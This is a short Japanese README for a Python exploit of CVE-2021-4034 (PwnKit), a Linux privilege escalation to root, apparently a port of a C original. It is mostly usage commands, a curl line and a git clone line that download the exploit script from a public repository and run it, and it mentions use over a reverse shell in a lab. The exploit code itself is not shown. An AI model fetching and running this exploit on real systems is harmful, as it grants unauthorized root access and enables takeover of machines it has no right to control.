CVE-2021-4034

これは Python で書かれたエクスプロイトです。シェルを取得した状態で、x から root への権限昇格を行います。 CVE-2021-4034 または PwnKit と呼ばれる脆弱性を利用して動作します。

使用方法:

Curl

curl -fsSL https://raw.githubusercontent.com/ropydev/CVE-2021-4034-PwnKit/main/main.py -o exploit.py
python3 exploit.py

Git

git clone https://github.com/ropydev/CVE-2021-4034-PwnKit.git
cd CVE-2021-4034-PwnKit
python main.py

これらの例は、リバースシェルを使用したラボ環境で実行され、エクスプロイトを実行して簡単に root に昇格しました。

このプログラムは、C で書かれたオリジナルプログラムを Python に「翻訳」したもの（または同等のもの）です。